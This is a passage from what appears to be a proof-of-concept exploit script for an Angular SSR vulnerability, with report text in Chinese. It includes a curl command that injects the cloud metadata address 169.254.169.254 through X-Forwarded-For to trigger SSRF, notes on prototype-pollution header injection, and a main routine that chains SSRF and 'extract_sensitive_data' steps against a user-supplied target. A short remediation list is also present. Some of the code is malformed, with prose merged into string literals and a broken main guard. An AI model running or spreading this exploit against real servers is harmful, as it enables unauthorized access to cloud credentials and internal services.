-CVE-2026-27739-poc

curl -H "X-Forwarded-For: http://169.254.169.254/latest/meta-data/" {self.target}

2. 通过原型污染进行头部注入 (CVSS: 7.5)

描述：Angular SSR 处理不安全的查询参数，影响原型链 影响：请求头操纵，潜在的 SSRF 链式利用

修复建议

1. 移除/禁用 X-Forwarded-* 头部处理，或对已知代理进行白名单配置
2. 在易受 SSRF 影响的操作之前实施严格的 URL 验证
3. 使用 express-validator 或类似工具进行头部清理
4. 禁用 AWS/GCP 元数据端点，或使用带跳数限制的 IMDSv2 """ print(report) with open("angular_ssr_exploit_report.txt", "w") as f: f.write(report)

def main(): parser = argparse.ArgumentParser(description="Angular SSR SSRF 与头部注入漏洞利用") parser.add_argument("target", help="目标 Angular SSR 应用程序 URL") parser.add_argument("--no-ssl-verify", action="store_true", help="禁用 SSL 验证")

args = parser.parse_args()

exploit = AngularSSRExploit(args.target, ssl_verify=not args.no_ssl_verify)

print(f"[+] 目标: {args.target}")
print(f"[+] SSL 验证: {'已禁用' if args.no_ssl_verify else '已启用'}")

# 执行漏洞利用链
exploit.test_header_injection()
exploit.exploit_ssrf_chain()
exploit.extract_sensitive_data()
exploit.generate_report()

if name == "main": main() 使用方法 bash